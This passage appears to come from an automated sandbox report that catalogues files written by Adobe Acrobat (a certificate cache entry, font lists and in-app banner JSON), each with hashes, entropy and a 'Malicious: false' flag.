Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl/YM/tfllXlE/HT8kgah/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kKJseT8wJdNMa8RdWBwRd
MD5:	AAF34D1F633024B432F2FAAED0E48E74
SHA1:	44EE89D17335ABD1915632D3BA35778A93084E63
SHA-256:	7D7675FB3D66DDD380BFA00DBEEDB4EC3C54F2BC571521C9126270D452B05D43
SHA-512:	AB900F42375972087C0B481058D94609EE851CBCC3AD740CC4BD908F2F08DE476A14B3708B939BE55F896423E04988BB652945EB2185AE31D5355BEC14E5C2D1
Malicious:	false
Preview:	p...... ..........W..c..(....................................................... ..........W.....[..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8052

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8052

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.374508896939789
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJM3g98kUwPeUkwRe9:YvXKXF36br0UWZc0vdbGMbLUkee9
MD5:	FCA5AD1D9E1EF33389123992E53309D2
SHA1:	3BB7304C462EB26C09EDDCD77AD4CD012732484F
SHA-256:	BBC0A39B45CE3835DEF2C72068ED99A403C593FFA16F18D7083E99FDAE421A01
SHA-512:	557926B6577E007462C20C675C95A04FA23120CD2951B8916F94BCCC6BB6C423AF1241E6AE4E2BC4356869079728DF1CAB73E8B7FEF5D938AD2D6A2CC84B1336
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.327338057459145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJfBoTfXpnrPeUkwRe9:YvXKXF36br0UWZc0vdbGWTfXcUkee9
MD5:	7A3F94E4489B8AA6EAFDE441AFCEFF98
SHA1:	F7D947C5BCE980C80DC475F5F6096BDFAB17B5E8
SHA-256:	6CD77573B93C5627AE6F146F9B2E1167C14BF687B293A93855B19B82B15C55B5
SHA-512:	8E4E78F5204E5C8D813444273F57B00A64C51D5DF439640AD972CDDC7BCE593D9B9E23CAD7C20A6FF3CE39E57E125259327109E2349ABD3458AAB159FF867E44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304881255677767
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJfBD2G6UpnrPeUkwRe9:YvXKXF36br0UWZc0vdbGR22cUkee9
MD5:	573309789A078522FF8E6A36E7AD89DF
SHA1:	B0454C2BFD5D83183E771F288E2111AFDF08E0E5
SHA-256:	D75CE4E808F71064D9EAE7EC8801173A6CCCBD06D98A167FABF01BDE76A66172
SHA-512:	A01D67B7FA26CA4CD202A3A2068D246E4B6D1D3A16C210DAD64EB134D778E1BF5CFE7B0F605EECCBA932BB61F43DEFED9D73B4A78316117E14D4DA4D3E1F30CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.36191047368311
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJfPmwrPeUkwRe9:YvXKXF36br0UWZc0vdbGH56Ukee9
MD5:	B2CD2FD7667055E013B317A3F413BEB6
SHA1:	52EF8890777EAFF43FA7AE1AE28E15608B6351D2
SHA-256:	62A574AA70AF083DDF68CEDA230D210812F512EAC7CFDA7C87D1163DF276F693
SHA-512:	FDC988E6F1F4F1F54DE706E2123E3A85D54E15033909C55A1B4FB5011D7601F8F42143EC636A9A1CA12A12555DB158C39C2437D5AE3099536FA2441EA0EE06B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687805529340957
Encrypted:	false
SSDEEP:	24:Yv6XUgUWzvdwpLgE9cQx8LennAvzBvkn0RCmK8czOCCSqS:YvsUO1whgy6SAFv5Ah8cv/qS
MD5:	B975C55A1B95E5EE9F79C25B40FD5AB1
SHA1:	2486F298D82941CBF5C72E8108E15E75C2F49812
SHA-256:	765F5DA962B7FD6B10C0BB6030285CCC78DA64DB1C297A760389953251CA129D
SHA-512:	24506A6136DB00EF9FF52D94FDEB7CE93A1D1861B59D13D9F64C1510E8ACDEA7B54FC14ED2190B95A04AD99340361B6A6681F4298FA981A3B8D728200E404059
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3075089689820745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJf8dPeUkwRe9:YvXKXF36br0UWZc0vdbGU8Ukee9
MD5:	09770031E5F68CC20C1B0EB50D340611
SHA1:	03C8FE58F30A763F2375D0D66F9D395570B8636D
SHA-256:	61317B26AA21A3C9B7703174192DD10DC7AEFFA5545787F12CAABE87DE6BB81E
SHA-512:	FFE1FDD246C944F07270C1BCFF8FBFE6D356814E498C5507BD1699770A6C4FEA095423ED9287E8CD6E3213C510A32515EB3978ECCB9D15FDF5CA717969C5D9AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.312223053837018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJfQ1rPeUkwRe9:YvXKXF36br0UWZc0vdbGY16Ukee9
MD5:	BD2C180799F1521B7C8DF36B8456C659
SHA1:	2EA0A6109AB8C5C50FF1F26E5A2D945C0A27B895
SHA-256:	26A6DBAE433988EBC048BA71ED4058EBFE9DC0F46E4E25FC372F2713CBD8B259
SHA-512:	7EBE652517FE38FFB057F06A49C9BFCB7F093BC07BC41C31C4A6583B3F20FF897C8D6298DC3B8CE1E6648E783AAC8C0AD9D5660ED6604CB6A2E7BAAB45243087
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3164306012309055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJfFldPeUkwRe9:YvXKXF36br0UWZc0vdbGz8Ukee9
MD5:	1435F497CC1C5A95F87053E8AC96CDC2
SHA1:	E88FB30A27FFA2F9D95C986601594AB521256D84
SHA-256:	5D7CF079189682DE45A9506F1E5BE9ADB472CD83464539147C54A75C098BC60B
SHA-512:	38548F0DC603C995C9C90C2D1E8D40A93BC5A327FF6D2B1CC6C9487C8656358041C3CEDADF648A05031CE310409293E91C107EE599980171F167455E463C2820
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3336424538097065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJfzdPeUkwRe9:YvXKXF36br0UWZc0vdbGb8Ukee9
MD5:	1E1480D60167DC84E94489644F235944
SHA1:	4B358FCAC67C283F8CA50C8EF4D4B174C9F7F7CF
SHA-256:	F8A514ECF8F5493D353D3A0F518BAAEA802FEAFCC182922B98C92C107AF2523B
SHA-512:	1E24D6F9FC961D88D9FF10EA2013F60521B0C66C2AF0606711A0A5850F737120F02B57C30309ECA160559612E0CD029258DC8D3831646FD58CC765EDC2C6A58D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314860120466118
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJfYdPeUkwRe9:YvXKXF36br0UWZc0vdbGg8Ukee9
MD5:	97C21268D7D17E1AF5B8EDB461F3DD51
SHA1:	C5619F45C078AAFA4445645C7719F4E80618974D
SHA-256:	494D3C1CB856728846BD43E67CF0BB72B1B24A5E7CE0BAD2E3FFAD8C1157AB8F
SHA-512:	F501A3DA0A76C3EB15A6C93EAA5B4EFD8C1954A2961C3B27AC6274469A6835DA62CCE5F628858914BD2A1C0ADDA9CA5ECF83070E0F921103240C9DBFBF21E4C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.300854413595144
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJf+dPeUkwRe9:YvXKXF36br0UWZc0vdbG28Ukee9
MD5:	3276E5DB55D49EBC7AD5D0F5A9C2CEE4
SHA1:	6AB9308F6D02CEB3D88F911F72C9CC803AE4D41F
SHA-256:	CB0B19F010B0E15BD5176EDD53FD2BAC39F37582AA04D79D2FC5004531D785C1
SHA-512:	8E3F74D3C2AB1A9B7A8C16777FEDA2931E2DED9D3D38A5BE42D8BE359BD3F1A3DFA5453D6C6DD3207FBC654F3CFC1390A7A64808C381FD135137769F828063A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"27ddab49-c7b8-473d-b0ab-837c9a908c91","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750715813,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.298305086727844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSBU6BZI1cfcUnVoZcg1vRcR0Y8woAvJfbPtdPeUkwRe9:YvXKXF36br0UWZc0vdbGDV8Ukee9
MD5:	1F33686D26577D1C29072BF876F105F4
SHA1:	74335E516169EECD5F359AEACC56B5696CF6E1D3
SHA-256:	5A617EAF439A270549571246F253064989418D1B55A7ACC6D0B1458A40CC6012
SHA-512:	D342425F328F321EB0E12C30091AE492F38A94CD764F5D1205DFCBB2D074FD1D274EDBE4C9620D7AEF506444895D5B8AEA6704B6796456984B6C50F531ED3A1F
Malicious:	false
